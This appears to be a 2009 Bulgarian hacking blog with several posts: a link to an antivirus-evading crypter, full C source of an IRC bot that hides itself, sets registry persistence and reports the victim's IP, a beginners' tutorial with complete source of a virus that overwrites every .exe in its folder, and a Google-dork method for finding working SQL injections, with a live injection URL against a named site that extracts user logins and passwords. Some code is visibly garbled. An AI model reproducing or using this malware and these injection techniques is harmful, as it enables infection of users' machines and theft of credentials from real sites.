сряда, 9 декември 2009 г.

FileSplitter


Това е file splitter който направих специално за unkn0wn.ws.Този splitter подържа опций да разделя файловете обикновено но също има опция да се ползва и за да се намери байтовете които се засичат от анти вирусните във даден файл.

Ето и линк към кода: http://www.mediafire.com/?q40nyvytkri

неделя, 15 ноември 2009 г.

Scantime криптер



Това е криптер който направих на C със изцяло мои кодове за около 2 дни :) В момент когато го направих той беше FUD и при сканиране не се засичаше от нито една анти вирусна :)
Използва rot13 + xor за да криптира файловете, също така подържа и EOF :)
Скоро се надявам да направя и Runtime FUD криптер :)

Ето и сорс кода:
http://www.mediafire.com/?nzzwdmnzmy2

Прост IRC бот



Направих го просто фор фун :P
Бота има само три функций:

MsgBox Va6etoSaob6tenie -> Извежда MessageBox()

IP -> Дава ви IPa на жертвата

beep 1 -> Кара компютъра на жертвата да пивка

При стартирането бота се добавя към програмите които се зареждат с Уиндоус и се стартира всеки път при стартиране на Уиндоуса :)

#include windows.h

struct in_addr GetIP();
struct in_addr GetIP() {
char temp[80];
struct hostent * hostent_ptr;
struct in_addr addr;
gethostname(temp,80);
hostent_ptr = gethostbyname(temp);
int i = 0;
while (hostent_ptr->h_addr_list[i] != 0) {
addr.s_addr = *(u_long *) hostent_ptr->h_addr_list[i++];
}
return addr;
}

int main() {

struct in_addr addr;
SOCKADDR_IN sin;
SOCKET sock;
char Nick[100] = “LamerzBot”,*Channel = “#YOUR CHANNEL NAME HERE”,*ircServer = “YOUR IRC SERVER IP HERE”,*ptr,*Username = “LamerzBot”,*myaddr;
int Len,LenInBytes,port = 6667,i;
char recvBuff[4096],sendBuff[4096],FilePath[MAX_PATH];
HKEY KeyHandle;
WSADATA WSAData;

WSAStartup(MAKEWORD(2,0), &WSAData);

Len = GetModuleFileName(NULL,FilePath,MAX_PATH);
SetFileAttributes(FilePath,FILE_ATTRIBUTE_HIDDEN);
LenInBytes = Len * sizeof(*FilePath);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”,0,KEY_ALL_ACCESS,&KeyHandle);
RegSetValueEx (KeyHandle,”system21″,0,REG_SZ,(LPBYTE)FilePath,LenInBytes);
RegCloseKey(KeyHandle);

sock = socket(AF_INET, SOCK_STREAM, 0);
memset( &sin,0,sizeof sin);
sin.sin_addr.s_addr = inet_addr(ircServer);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
connect(sock, (SOCKADDR *)&sin, sizeof(sin));

addr = GetIP(); /*Get The Ip in network byte order */

myaddr = (char *) malloc (sizeof(addr));
myaddr = inet_ntoa(addr);

memset(sendBuff,0,255);
sprintf(sendBuff,”USER %s \”\” \”\” :%s%c”,Username,Nick,10); /* */
send(sock,sendBuff,strlen(sendBuff),0);

memset(sendBuff,0,255);
sprintf(sendBuff,”NICK %s%c”,Nick,10); /* [ ] */
send(sock,sendBuff,strlen(sendBuff),0);

Sleep(100);

memset(sendBuff,0,255);
sprintf(sendBuff,”JOIN %s%c”,Channel,10); /*{,} [{,}] */
send(sock,sendBuff,strlen(sendBuff),0);

while(1) {
memset(recvBuff,0,255);
recv(sock,recvBuff,255,0);
if (strstr(recvBuff,”PING”) != 0 ) { send (sock,”PONG :\r\n”,6,0); }
if((ptr = strstr(recvBuff,”MsgBox”)) != 0) { ptr += 7; MessageBox(0,ptr,”Its Just A Game…”,MB_SYSTEMMODAL); }
if((ptr = strstr(recvBuff,”beep”)) != 0) { ptr += 5; Beep(2000,(int)*ptr); }
if(strstr(recvBuff,”IP”) !=0) { sprintf(sendBuff,”PRIVMSG %s :%s%c”,Channel,myaddr,10);
send(sock,sendBuff,strlen(sendBuff),0); }
}
return 0;
}

събота, 14 ноември 2009 г.

Дупка в ssi-bg.com



Това е видео в което съм заснел една скрита вратичка в SSI-BG.COM от където можех да взема скрипт системата и базата данни на всички обслужвани от тях сайтове :) беше преди доста време но мисля че все пак ще е интересно да се види :)

Линк: http://www.mediafire.com/?mhzjzwzrtme

[2]Вирус Програмиране За Начинаещи



Реших да почна да пиша поредица от такива статий и след това може да ги обединя в книга. Точно тази статия която поствам е втората от поредицата но нея ще постна преди първата :lol: Да знам че е малко тъпо но стана така защото като я завърших разбрах че не съм обяснил някой по главни неща за по начинаещите и затова ще има първа статия в която да обясня някой по прости неща.

Иначе тази я поствам за да ми кажете какво мислите и да ми напишите вашите забележки и препоръки за да може да го дооправя :ugeek: Скоро и статия номер 1 ще бъде готова. Някой ако иска да помога (има знания) е винаги добре дошъл



За да четете тази статия трябва да знаете за някой главни неща в програмирането (pointers,arrays,
structures, etc..) и да сте на ти с C\C++ синтаксиса Също и някой минимални познания
за Уондоус средата за програмиране

Специално за тази статия съм направил прост вирус който презаписва всички .exe файлове
в директрията където се изпълнява с свои копия и извежда съобщение при пускането му .
С следващите статий ще видим как ще уложним и развием или изцяло променим този вирус
до създаването на нещо яко :D
Реших да го направя на C защото тва е един от удобните за програмиране езици който се
знае от най много хора

В този вирус както и в всички останали за Windows ни е нужна само една библиотека.
И то тази на Уиндоуса .
[code]#include [/code] включваме уиндоус библиотеката в нашият код
мисля че няма нужда от обяснение :P

Нека започнем с обяснение на съществените функций (Ако сега са ви неясни
то по късно като разгледаме кода на вируса мисля че ще ви станат ясно )

Дадената функция увеличава размера на жертвата до толкова че да може да бъде презаписана
от вируса защото ако вируса е 10000 байта а жертвата 500 то няма как вируса да я презапише
тъй като неговия размер е по голям (може вируса да се направи по прост и тази функция както
и много други да не бъдат нужни но аз искам да обясня неща които ще са нужни и за други
вируси )
FixSize взима два аргумента BytesToAdd (броят на байтовете които трябва
да бъдат добавени за да се изравни размера на жертвата и вируса) и FileHandle (Повод към
жертвата създаден чрез CreateFile(), с който можем да четем и пишем жертвата).
SetFilePointer премества пойнтера чрез който можем да четем и пишем файла в неговият край
(иначе е в началото).
А със WriteFile записваме низ със дължина равна на разликата между размера на вируса
и на жертвата(ще видите после) в края на жертвата.
[code]
int FixSize(int BytesToAdd,HANDLE FileHandle) {

DWORD BytesWritten = 0;
char Buffer[BytesToAdd];

SetFilePointer(FileHandle,0,0,FILE_END);
WriteFile(FileHandle,Buffer,BytesToAdd,&BytesWritten,NULL);

return 0;
}
[/code]

Следващата функция Infect също е много проста Както самото име казва тази функция
инфектира жертвата със вируса(в нашият случей презаписва жертвата с копие на вируса).
Функцията взима 3 аргумента FileHandle(пойнтер сочещ към началото на жертвата
заредена в памета с MapViewOfFile()) VirusHandle(пойнтер сочещ към началото на вируса
зареден в памета с MapViewOfFile())
VirusSize(размера на вируса).
For(;;) цикъла във тази функция просто презаписва един по един байтовете на жертвата от
началото с тези на вируса докато броят на презаписаните байтове не достигне размера на вируса.
Ако например размера на жертвата е 1000 а размера на вируса 500 то само първите 500 байта
ше бъдат презаписани а останалите ще останат, но при пускане на вече инфектиряният файл
то останалите 500 байта няма да бъдат заредени в памета ще бъдат заредени само първите 500,
а останалите ще съществуват само когато разглеждаме жертвата на харда а не в памета
(ще разберете защо е така по нататък ).
[code]
int Infect(unsigned char *FileHandle,unsigned char *VirusHandle,int VirusSize) {
int i;
for(i = 0;i *FileHandle = *VirusHandle;
FileHandle++;
VirusHandle++;
}
return 0;
}
[/code]

Сега следва една по сложна функция OpenFileToInfect
Тази функция взима 3 аргумента FileName(името на жертвата), OpenHandle(това е пойнтер който
при извикването на функцията очаква да му дадете адреса където искате да запише адреса
на който ще бъде заредена жертвата в памета, това става като пред името на променливата
в която искате да запишете този адреса сложите &, ще видите по късно ) и VirusSize(размера на вируса).

[code]
int OpenFileToInfect(char FileName[] , HANDLE *OpenHandle, int VirusSize) {
int Size;

*OpenHandle = CreateFile(FileName,GENERIC_ALL,0,NULL,OPEN_EXISTING,0,NULL );
Size = GetFileSize(*OpenHandle,NULL);

if(VirusSize > Size) { FixSize((VirusSize-Size),*OpenHandle); }
*OpenHandle = CreateFileMapping(*OpenHandle,NULL,PAGE_EXECUTE_READWRITE,0,0,NULL);
*OpenHandle = MapViewOfFile(*OpenHandle,FILE_MAP_ALL_ACCESS,0,0,0);

return Size;
}
[/code]

С първата линия отваряме файла а със втората взимаме неговият размер
[code]*OpenHandle = CreateFile(FileName,GENERIC_ALL,0,NULL,OPEN_EXISTING,0,NULL );
Size = GetFileSize(*OpenHandle,NULL);[/code]

Тази линия е много съществена защото тук проверяваме дали вируса е по голям от жертвата
и ако е то тогава извикваме функцията FixSize() за да изравни размерите... като параметри
даваме разликата между размера на вируса и размера на жертвата и повод към отвореният файл
[code]if(VirusSize > Size) { FixSize((VirusSize-Size),*OpenHandle); }[/code]

С първата линия CreateFileMapping зарежда файла в памета на системата за да може
да се използва от много процеси чрез повода върнат от функцията, но не го зарежда
в процеса на вируса, затова за да го заредим в процеса на вируса трябва да използваме
MapViewFile.И сега вече върнатият повод е към началото на файла . ЗАБЕЛЕЖЕТЕ!: Зареден
по този начин в памета файла е зареден точно така както изглежда на харда а не така както
изглежда когато се изпълнява .
[code]
*OpenHandle = CreateFileMapping(*OpenHandle,NULL,PAGE_EXECUTE_READWRITE,0,0,NULL);
*OpenHandle = MapViewOfFile(*OpenHandle,FILE_MAP_ALL_ACCESS,0,0,0);
[/code]

OpenVirus функцията е по прост вариант на OpenFileToInfect такаче не е нужно обяснение
тук Единственото което трябва да отбележим е че ако погледните някой от аргументите
на Уиндоус функцийте ще забележите че в този случай вируса се отваря само за четене
защото в момента той се изпълнява и неможем да пишем върху него

Нека сега разгледаме главният контролен код на вируса
Първо взимаме пътя към вируса и неговото име които ще бъдат записани под формата на низ
във FilePath , това ни е нужно защото трябва да извикаме OpenVirus функцията да отвори вируса
за четене а уиндоус функцийте вътре изискват пътя или само името не файла
Ето тук при извикване на OpenVirus виждате как даваме адреса на променливата в която
искаме да запишем крайният адрес на който ще бъде зареден вируса &VirusHandle (ако се прочели
всичко по горе ще ви е ясно тва )
Както виждате тази функция връща размера на вируса който ще ни е нужен по късно
[code] GetModuleFileName(NULL,FilePath,MAX_PATH);
VirusSize = OpenVirus(FilePath,&VirusHandle);[/code]

Сега тука тва може да ви се стори малко сложно на пръв поглед :P
Тук ще разгледаме системата на вируса за намиране на файлове
При търсенето на файлове трябва първо да извикаме функцията FindFirstFile за да намерим
първият файл и след това вече за да намерим и другите файлове извикваме FindNextFile
При изпълнението на FindFirstFile то функцията връща повод който ще се използва при всяко
следващо изпълнение на FindNextFil за намиране на друг файл вместо име или маска за файлове
И двете функций ползват една и съща структура за записване на данни за намереният файл
такаче при всяко намиране на файл информацията в структурата се променя
ЗАБЕЛЕЖЕТЕ!: Реда на намиране на файловете винаги е азбучен
Можеби някой от вас се чудят какво е FileMask... Това е просто низ в който сме задали маска
с която ще намерим всички файлове с разширение EXE
FindData също може да ви изглежда като нещо страно но това е просто структура от типа
WIN32_FIND_DATA в която при намиране на всеки файл се записва полезна информация за файла,
като например дата на създаване,дата на модифициране, атрибути и такива

След като вече сме намерили първият файл следва линия от код който в момента е ненужен
но после когато започнем да търсим за още ще проверява кога повода върнат от FindNextFile
е равен на 0 (няма повече файлове). Забележете при декларирането на повода NextHandle = 1
му даваме стойност 1 защото иначе ще му бъде дадена някаква произволна стойноста която
в някой случей може да е равна на 0 и още при първата проверка дали NextHandle е равно на
нула резултата да бъде положителен и вируса да не инфектира повече файлове (нека не оставяме
нищо на случайноста :P )
[code]if(NextHandle == 0) { goto Finish; }[/code]

И ако условието е вярно то тогава утиваме там кадето е дефинирано заглавието Finish:
Където ще бъде изпълнен така нареченият PayLoad (това е някакав код който обикновено
показва някакво съобщение на потребителя който стартира заразеняит файл )
В нашият случай PayLoad-a се състои от прост MessageBox който ще изведе съобщение
че файла е инфектиран от еди кой си вирус Но вие може да създадете някакъв по сложен и як
PayLoad за да стреснете потребителя :P А може и да не слагате PayLoad ако искате
никой да не разбира че някой файл е заразен от ваш вирус
[code]MessageBox(0,Payload,Title,MB_ICONERROR); [/code]

Следващата линия също е код за проверка при който проверяваме дали атрибутите на намериният
файл са FILE_ATTRIBUTE_SYSTEM (константа дефинирана в Уиндоус библиотеката) или по просто
системни. Защо ли ? Защото ако по погледнете малко по нататък
в кода ще видите че точно след като файла е инфектиран вируса му дава системни атрибути за да
може да различава инфектираните от не инфектираните файлове :P (този метод се ползва от много
вируси )
Както преди разаяснихме FindData е структура от типа WIN32_FIND_DATA, а dwFileAttributes
е член на тази структура в който се пазят атрибутите на намериният файл
[code]if(FindData.dwFileAttributes == FILE_ATTRIBUTE_SYSTEM)[/code]

И ако условието е вярно то тогава намереният файл е вече заразен и се налага
да изпълним FindNextFile за да потърсим за друг файл след което следва проверка
дали файловете в директорията не са свършели както обяснихме по горе ( това
в нашият случей става с GOTO който ни праща обратно на заглавието FindFiles: ) и отново
проверка дали файла не е заразен вече ако не е заразен продължаваме нататък
[code] NextHandle = FindNextFile(FileFindHandle,&FindData);
goto FindFiles; [/code]

Сега първата стъпка преди да заразим файла е да го отворим и заредим в памета
В нашият случей това вируса прави като извика функцията OpenFileToInfect Която връща
размера на файла и адреса на който е зареден файла в променливата FileOpenHandle което
мисля че вече обясних как става (като дадем адреса на променливата като стойност
на пойнтер в дадената функция ;) мноо як трик ) Тази функция съм я обяснил по горе
такаче няма да губя повече време върху нея
[code]FileSize = OpenFileToInfect(FindData.cFileName,&FileOpenHandle,VirusSize);[/code]

Следва функцията за заразяване на файла Infect даваме й три параметра FileOpenHandle (адреса
на който е зареден файла за инфектиране) ,VirusHandle (Адреса на който е зареден вируса),
VirusSize (размера на вируса). Няма да обяснявам тази функция тъй като съм я обяснил вече
по горе .
[code]Infect(FileOpenHandle,VirusHandle,VirusSize); [/code]

Сега след като вече файла е инфектиран следва уиндоус функция която ще го запише
обратно на харда FlushViewOfFile. Тя не е сложа и взима само два параметра
FileOpenHandle (Адресът на който е зареден вече инфектираният файл) и VirusSize (размера на вируса
, който казва колко байта на адреса указан в FileOpenHandle да бъдат записани на харда )
[code]FlushViewOfFile(FileOpenHandle,VirusSize); [/code]

И ето вече файла е инфектиран и записан на диска сега само остава да променим неговите
атрибути на системни за да предотвратим повторн инфектиране :P (знаете за какво става въпрос
ако сте прочели всико по горе :P ). Това става с функцията SetFileAttributes която взима
само два параметра, името на файла ( което отново взимаме от FindData структурата, FindData.cFileName)
и какви атрибути да дадем на този файл, FILE_ATTRIBUTE_SYSTEM разбирасе (ако файла е имал
атрибути като например Archive+Normal то те ще бъдат презаписани със тези дадени
в този аргумент)
[code]SetFileAttributes(FindData.cFileName,FILE_ATTRIBUTE_SYSTEM); [/code]

И ето файла е вече заразен и пълно копие на този функциониращ вирус готов да търси
своите жертви

Този код отново връща вируса да търси за нови жертви докато файловете
в директорията не свършват и тогава да изведе PayLoad-a
[code]goto FindFiles;[/code]

А ето и целият код 8-) :

[code]
#include

int FixSize(int BytesToAdd, HANDLE FileHandle);
int Infect(unsigned char *FileHandle,unsigned char *VirusHandle,int VirusSize);
int OpenFileToInfect(char FileName[] , HANDLE *OpenHandle, int VirusSize);
int OpenVirus(char FileName[] , HANDLE *OpenHandle);
int main()
{
char FileMask[] = "*.exe",FilePath[MAX_PATH],Payload[]="File Destroyed By Bulgarian Virus Agent!",Title[] = "Bulgarian Virus Agent";
HANDLE FileFindHandle,NextHandle = 1,FileOpenHandle,VirusHandle;
WIN32_FIND_DATA FindData;
int FileSize,VirusSize;

GetModuleFileName(NULL,FilePath,MAX_PATH);
VirusSize = OpenVirus(FilePath,&VirusHandle);

FileFindHandle = FindFirstFile(FileMask,&FindData);
FindFiles:
if(NextHandle == 0) { goto Finish; }
if(FindData.dwFileAttributes == FILE_ATTRIBUTE_SYSTEM) {
FindNextFile:
NextHandle = FindNextFile(FileFindHandle,&FindData);
goto FindFiles;
}

FileSize = OpenFileToInfect(FindData.cFileName,&FileOpenHandle,VirusSize);

Infect(FileOpenHandle,VirusHandle,VirusSize);
FlushViewOfFile(FileOpenHandle,VirusSize);

SetFileAttributes(FindData.cFileName,FILE_ATTRIBUTE_SYSTEM);

goto FindNextFile;

Finish:

MessageBox(0,Payload,Title,MB_ICONERROR);
return 0;
}

int OpenFileToInfect(char FileName[] , HANDLE *OpenHandle, int VirusSize) {
int Size;

*OpenHandle = CreateFile(FileName,GENERIC_ALL,0,NULL,OPEN_EXISTING,0,NULL );
Size = GetFileSize(*OpenHandle,NULL);

if(VirusSize > Size) { FixSize((VirusSize-Size),*OpenHandle); }
*OpenHandle = CreateFileMapping(*OpenHandle,NULL,PAGE_EXECUTE_READWRITE,0,0,NULL);
*OpenHandle = MapViewOfFile(*OpenHandle,FILE_MAP_ALL_ACCESS,0,0,0);

return Size;
}

int OpenVirus(char FileName[] , HANDLE *OpenHandle) {
int Size;

*OpenHandle = CreateFile(FileName,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL );

Size = GetFileSize(*OpenHandle,NULL);

*OpenHandle = CreateFileMapping(*OpenHandle,NULL,PAGE_READONLY,0,0,NULL);
*OpenHandle = MapViewOfFile(*OpenHandle,FILE_MAP_READ,0,0,0);

return Size;
}

int Infect(unsigned char *FileHandle,unsigned char *VirusHandle,int VirusSize) {
int i;
for(i = 0;i *FileHandle = *VirusHandle;
FileHandle++;
VirusHandle++;
}
return 0;
}

int FixSize(int BytesToAdd,HANDLE FileHandle) {

DWORD BytesWritten = 0;
char Buffer[BytesToAdd];

SetFilePointer(FileHandle,0,0,FILE_END);
WriteFile(FileHandle,Buffer,BytesToAdd,&BytesWritten,NULL);

return 0;
}
[/code]

[1]Вирус програмиране за начинаещи



Това е първата част от поредицата но не е завършена изцяло ще едитвам темата когато направя продължението.. поствам я за ми кажете ако мислите че нещо трябва да се промени или да предложите какво още да обясня

В тази първа статия за вирус програмирането ще обясня колкото
се може повече неща които са необходими да знаете за да можете
да създавате вируси

Тъй като всички вируси от тази поредица ще бъдат направени
главно на C. Ще започна с обяснение на някой неща за C които
повечето от вас сигурно знаят но аз искам да обясня някой
неща за по начинаещите... Тук няма да ви науча на главните
неща на C, вече има такива материали за четене по долу ще дам
линкове Тук само ще подчертая най важното което трябва да знаете

Тъй като разбрах че указателите (pointers) не са ясни на много
хора реших и тях да обясня до колкото мога
Гледайте на указателите като на нищо повече от променливи в които
можете да записвате адресите на променливи и да имате достап до
тяхните стойности
Ето ви един код в който използваме указатели
[code]
int main()
{
int *ptr;
int var = 5;

ptr = &var;
*ptr = 3;

printf("%d\n",var);

return 0;
}
[/code]

Както виждате в този код даваме на ptr адресът на var ( чрез анперсант (&) знака може
да вземете адреса на променлива и указател ) след което
чрез астерикс (*) може да имаме достъп до стойноста която се намира
на адреса към който сочи пойнтера
Ето ви някой примери с които мисля че трябва да разберете за какво
става въпрос:

int *ptr;
int var = 5;

ptr = var; вместо адреса ще запишем в ptr стойноста на var - 5
и ако се опитате да вземете стойноста която се намира на адреса
посочен от ptr със *ptr то тогава ще получете грешка защото
5 е невалиден адрес

ptr = &var; дава на ptr адрес към който да сочи и имено този на
var, в този случей чрез *ptr ще имате достъп до стойноста на var

printf("%X\n",&ptr); извежда на екрана самият адрес на ptr


Много важно е също така и да знаете че низовете са също пойнтери
Самоче един низ е част от няколко на брой елемента, и може да имаме
достъп само до един елемент или до всички наведнъж
Ето ви пример как може пойнтер да сочи към някой от елементите в
низа:
[code]
int array[10];
array[3] = 5;
int *ptr;
ptr = array+3;

printf("%d\n",*ptr);
[/code]
Array е същото като ptr самоче array побира 10 елемента а ptr
само един.Но ако нагласим ptr да сочи към началото на array то
тогава array[1]; ще е същото като *(ptr+1);

А ако случайно имате указател към структура,като:
[code]
struct tag {
int x;
int z;
};

struct tag *StructPtr;

StructPtr->x = 5;
printf("%d\n",StructPtr->x);
[/code]

то за да използвате
някой от членовете на структурата се използва знака ->.

Нека продължим със функцийте. Трябва да знаете че всяка функция
може да върне само ЕДНА стойност.Също така стойноста
която се връща и променливата в която се връща трябва да са от
един и съши тип ;) .Ако не знаете това може да имате
доста главоболия ето ви пример:

[code]
int func();
int main()
{
char c;

c = func();
printf("%d\n",c);
system("PAUSE");
return 0;
}

char func() {

return 127;
}
[/code]

Макар че при пускането този код наистина работи пробвайте да
да смените числото което връща func() на по голямо от 127 ;)

Да не работи защото типа char може да поема стойности от -128
до 127 и като въведем стойност по голяма от максималната която
може да се побере в променливата ( в нашият случей c ) то се получава
препълване (overflow) което води до загуба на данни Такаче
винаги внимавайте с типовете данни които ползвате ;)
А ако не искате някоя функция да връща стойност то тогава може
да я дефинирата да бъде от типа void
Сега теоритично ще ви запозная с главните части на един вирус

Нека разсея всички митове за това че вируса е нещо което прецаква
компа... да много от вирусите са разрушителни но вирус е просто програма
която се саморазпространява.Всеки може да създаде програма която да
унищожи Уиндоус само с няколко реда код но това не е забавно
При програмирането на вируси ще може да усетите как нещо оживява
във вашите ръце . Яко е да търсиш нови методи да минеш покрай
анти вирусните и защитните стени :) Войната между анти вирусните
компаний и създателите на вируси се води от незапомнени времена...
Ако искате и вие да впишете името си в тази история то стягайте
и почвайте да четете :)

Ето една схема с главните части на един вирус:



Това са само частите без които неможе един вирус а иначе
може да се добави PayLoad(по нататък като го използваме
ще разберете какво е това) там където искате :) може да се
добави и код който да криптира/декриптира вашият вирус, а най
модерните вируси ползват даже и мощни инструменти с които
при всяко ново поколение вируса мутира, че даже и инструменти
чрез които вируса смесва своят код със този на на заразената програма.

Намиране на SQLi през google



Това е интересен метод който открих случайно
докато се опитвах да кракна няколко MD5 хеша
Може да го знаете но тъй като не видях никаде
да пише за него реших аз да споделя за него
на начинаещите.

Зе целта първо ще ни трябват MD5 хешовете на
някой от най използваните пароли ето ви
няколко:

123 - 202cb962ac59075b964b07152d234b70
123456789 - 25f9e794323b453885f5181f1b624d0b
admin - 21232f297a57a5a743894a0e4a801fc3
password - 5f4dcc3b5aa765d61d8327deb882cf99
administrator - 200ceb26807d6bf99fd6f4f0d1ca54d4
null - 37a6259cc0c1dae299a7866489dff0bd
satan - 87df2cd1570fd297de238aeee667fe0a
secret - 5ebe2294ecd0e0f08eab7690d2a6ee69
love - b5c0b187fe309af0f4d35982fd961d7e
sex - 3c3662bcb661d6de679c636744c66b62

Трика се състои в това че google кешира всичко
в един сайт даже и дупките :)

Със този метод няма да намерите просто SQL Injection
дупка а готов SQL Injection като [code]
http://www.touax.info/rubrique.php?id=-1+union+select+1,2,us_login,us_password,5,6,7,8,9,10,11,12,13,14+from+a_users_f[/code]

Просто отидете в google и във полето за търсене
въведете някоя SQL команда която се използва
във всички SQL Injections и един от хешовете
по горе, и търсете ;) По този начин аз намерих
около 25 SQL Injections за по малко от 30 min
Като търсех само с командата UNION и 2-3 хеша :P.